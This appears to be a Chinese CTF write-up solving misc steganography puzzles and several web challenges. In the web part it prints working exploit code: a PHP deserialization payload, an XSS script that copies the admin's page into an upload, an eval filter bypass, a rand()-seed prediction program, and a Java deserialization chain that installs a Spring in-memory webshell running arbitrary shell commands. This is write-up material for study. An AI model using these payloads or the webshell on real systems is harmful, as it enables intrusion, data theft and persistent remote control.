Misc
number gamenumber game
打开 F12 查看前端源码,发现这有一段代码挺可疑的,这里直接拿到控制台跑一下就行
var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a] , _0x477866 = ''; for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++) _0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a); alert(_0x477866);
Steins_Gate
图片像素由嘟噜组成,并且每个字所占像素大小相同,并且颜色渐变,猜测 lsb 隐写要从字中提取像素
每个字是 16*16,尝试提取中心点等尝试不对;考虑到字都有一个口字旁,且其所占像素位置一致,尝试提取
发现 lsb 隐写有个 base64 编码,是一个多行的 base64,且每一行都有两个等号,两个等号后有一些杂数据,去除
from PIL import Image import libnum img = Image.open('Steins_Gate.png') f=open('rgb.txt','wb') width,height=img.size for i in range(6,height,16): try: bins = "" for j in range(2,width,16): tmp = img.getpixel((j,i)) bins += str(tmp[0] & 1) + str(tmp[1] & 1) + str(tmp[2] & 1) data = libnum.b2s(bins) print(data.index(b"==")) f.write(data[:data.index(b"==")+2]+b"\n") except: break
然后 base64 解密得到一个 jpg,同时多行 base64,明显 base64 隐写
import base64 bin_str='' b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open('rgb.txt','r') as f: for line in f.readlines(): stegb64="".join(line.split()) rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split()) offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1])) equalnum=line.count('=') if equalnum: bin_str += bin(offset)[2:].zfill(equalnum * 2) #print(bin_str) print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))
得到 DuDuLu~T0_Ch3@t_THe_w0r1d,猜测 jpg 隐写,逐格尝试,发现是 outguess
Ez_misc
看 yuanshen 文件明显是一个字节颠倒的 jpg
steghide 隐写
Web
Easy php
反序列化
<?php class AAA{ public $cmd; } class BBB{ public $param1; } class CCC{ public $func; } $b = new BBB(); $a = new AAA(); $c = new CCC(); $b->param1 = $c; $c->func = $a; $a->cmd = "system('cat /flag');"; echo urlencode(serialize($b));
my2to
Xssbot
题目的 flag 在 admin 的页面,所以得想办法 XSS 来获取 admin 的页面;审计代码发现存在文件上传接口
所以可以上传一个恶意的 html 文件进行 XSS,但由于题目环境不出网,所以得想办法外带 flag;这里还是可以利用题目给的文件上传接口来讲 flag 写入 public/uploads
<script> if(document.domain != "localhost") { location = "http://localhost/uploads/attack.html"; }else{ fetch("/todo", {method: "GET", credentials: "include"}) .then(res => res.text()) .then(data => { var blob = new Blob([data], { type: 'text/plain' }); var formData = new FormData(); formData.append('file', blob, 'result.txt'); fetch('/api/upload', { method: 'POST', body: formData, });}); } </script>
上传后,触发 bot 访问
Can you read flag
开局一个注释 //eval($_GET[a]);
直接 /?a=system('whoami');
发现有 waf
使用 file_get_contents
尝试读 index.php 得到
ban 了一些东西,直接再套一层 eval
轻松绕过
但直接读 flag 没有权限,运行 /readflag
又需要交互式的 shell 去计算给的值。
但查看/tmp/src 目录下的源码,可以发现题目 /readflag
的源码,其随机数生成有缺陷,种子是 time(0),因此可以写一个 c 语言程序,得到 10 秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查
int main(){ unsigned int v3 = time(0)+10; unsigned int v9; unsigned int v10; srand(v3); int v11 = rand() % 101 + 100; printf("y\n"); for (int i = 0; i < v11; ++i){ v10 = rand() % 1000000; v9 = rand() % 9000000; printf("%d\n", v10+v9); } }
secObj
题目给了 jar 包,审计发现存在反序列化接口
但过滤了一些类,然后这里其实可以使用 jackson 链 + 二次反序列化 +HotSwappableTargetSource 来绕过
package com.example.demo.exp; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.security.*; import java.util.Base64; import java.util.HashMap; public class Exp { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); //内存马 byte[] bytes = Repository.lookupClass(MemShell.class).getBytes(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "aaaa"); setFieldValue(templatesImpl, "_tfactory", null); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject((Serializable) proxyObj, privateKey, signingEngine); POJONode jsonNodes = new POJONode(signedObject); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1")); HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); String res = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(res); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } }
内存马
package com.example.demo.exp; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner; //springboot 2.6 + 内存马 public class MemShell extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = MemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/shell") .options(config) .build(); MemShell springControllerMemShell = new MemShell(); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } catch (Exception hi) { // hi.printStackTrace(); } } public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
然后就是绕过 spring security 了,注意这里只用了一个 *
,所以存在绕过;最后加上 _csrf
token 即可